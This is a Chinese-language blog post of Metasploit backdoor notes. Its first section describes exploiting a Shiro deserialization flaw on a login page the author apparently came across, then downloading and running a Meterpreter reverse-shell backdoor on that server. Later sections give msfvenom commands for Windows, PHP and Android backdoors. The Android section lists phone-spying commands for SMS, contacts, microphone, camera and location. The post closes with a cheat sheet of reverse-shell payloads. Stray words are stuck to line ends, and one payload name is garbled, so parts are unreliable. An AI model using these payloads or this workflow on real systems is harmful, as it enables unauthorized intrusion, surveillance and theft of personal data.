MSF後門技術學習實戰筆記

0x01 前言

後門技術一直是滲透測試中十分重要的一個環節,初次接觸後門技術還了解的比較淺顯,本篇文章只是一次學習記錄,沒有涉及免殺和權限維持的相關內容,大佬勿噴。php

0x02 MSF生成linux後門實戰

實戰背景

閒來無事,無心間發現了一個使用了shiro的登陸界面,那就測試一下吧java

利用shiro反序列化漏洞

目標系統界面以下python

登陸後,使用Burpsuite抓包,發現shiro特徵字段linux

使用shiro反序列化利用工具進行漏洞檢測android

shiro反序列化漏洞存在,而且可以成功反彈shellgit

植入linux後門

植入後門思路

  1. 使用msf生成linux後門,並傳到web服務器上
  2. 經過wget將後門文件下載到目標主機
  3. 運行後門

具體操做

msf生成後門

[root@iz2zegeplp9c3s6hch0jhfz msf]# msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 9991
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

下載後門到目標主機

wget http://xxx.xxx.xxx/shell

更改shell後門權限github

chmod 777 shell

運行後門獲取shell

./shell

msf中成功反彈shellweb

成功獲取服務器權限shell

0x03 MSF生成windows後門

實驗環境

攻擊機:我的vps

靶機:windows server 2012(192.168.122.137)

植入windows後門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

進入msfconsole中進行配置windows

在windows server中模擬受害者點擊exe後門文件

成功獲取shell,並執行命令

0x04 MSF生成PHP後門

實驗環境

攻擊機:我的vps

靶機:centos(192.168.122.133)

植入PHP後門

使用msfvenom生成PHP後門

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php

在msfconsole中進行配置

經過wget將PHP後門下載到靶機

運行PHP後門

php ./text.php

成功獲取服務器權限

MSF生成JSP,ASP後門的利用方式與PHP後門基本相同,這裏就不舉例了,在文章最後會羅列出具體payload

0x05 MSF生成Android後門

實驗環境

攻擊機:我的vps

靶機:夜神安卓模擬器

具體操做

生成Android後門

使用msfvenom生成Android後門

msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port R > /root/android.apk

反彈shell

配置msfconsole進行監聽

運行安卓程序,成功獲取shell

獲取shell後能夠執行一些危害較大的操做

* check_root    #查看是否root
* dump_calllog    #下載通信記錄
* dump_contacts    #下載聯繫人
* dump_sms        #下載短信
* send_sms        #發送短信
* record_mic    #錄音
* webcam_list    #查看手機攝像頭
* webcam_snap    #拍照
* webcam_stream    #連續拍照
* geolocate        #獲取目標地理位置
* upload        #上傳文件到手機
* download        #下載手機上的文件
* shell            #進入手機的bash shell

獲取命令行shell

0X06 利用MSF生成其餘後門總結補充

msfvenom -l        列出全部模塊,攻擊載荷

Binaries

linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac
msfvenom -p osx/x86ell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho



Web Payloads

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp  

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads  

Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py  

Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh 

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl




Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

參考文章:

1.https://blog.csdn.net/qq_41514928/article/details/83108530

2.https://y00z.github.io/2016/12/19/diary-2016-1219-01/

相關文章
相關標籤/搜索